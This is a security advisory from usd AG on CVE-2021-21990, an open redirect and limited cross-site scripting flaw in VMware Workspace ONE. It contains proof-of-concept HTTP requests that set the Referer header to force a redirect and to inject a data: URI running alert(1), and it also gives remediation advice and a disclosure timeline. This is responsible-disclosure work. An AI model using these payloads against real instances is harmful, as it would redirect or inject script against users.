usd-2021-0008 | VMware Workspace ONE
Advisory ID: usd-2021-0008
CVE Number: CVE-2021-21990
Affected Product: VMware Workspace ONE
Vulnerability Type: CWE-79: Cross-site Scripting
Security Risk: Low
Vendor URL: https://www.vmware.com/products/workspace-one.html
Vendor Status: Fixed
Proof of Concept (PoC)
The following request response pairs illustrate how the vulnerability could be exploited.
Please note that we redacted the exact subdomain of awmdm.com – our tests were performed against a generic AirWatch Hosted (SaaS) instance.
1. Open Redirect
GET /DeviceManagement/Enrollment/IsMamEnrollmentEnabled?groupId=%3ca HTTP/1.1 Host: abcdef.awmdm.com Referer: https://www.usd.de
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.usd.de/ [...] <h2>Object moved to <a href="https://www.usd.de/">here</a>.</h2>
2. Limited XSS
GET /DeviceManagement/Enrollment/IsMamEnrollmentEnabled?groupId=%3ca HTTP/1.1 Host: abcdef.awmdm.com Referer: data:text/html,alert(1)
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: data:text/html,%3Cscript%3Ealert(1)%3C/script%3E [...] <h2>Object moved to <a>here</a>.</h2>
It is recommended to consider all user input to the application as potentially malicious. All input to the application should be verified and if necessary replaced. Meta characters should be treated with care. The majority of programming languages supports standard procedures for filtering and replacing meta characters. For example, PHP has the built-in function htmlspecialchars(). It is recommended to use whitelisting wherever possible.
- 2021-03-12: This vulnerability was identified by Leif Enders and Lauritz Holtmann.
- 2021-03-14: Advisory submitted to vendor via e-mail.
- 2021-04-08: Vendor informs about upcoming fix.
- 2021-05-11: Advisory for CVE-2021-21990 is released by VMware: https://www.vmware.com/security/advisories/VMSA-2021-0008.html
- 2021-05-31: Security advisory released by usd AG.
This security vulnerability was found by Leif Enders and Lauritz Holtmann of usd AG.
ABOUT usd SECURITY ADVISORIES
In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.
Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.
Always for the sake of our mission: „more security.“
In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.
The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.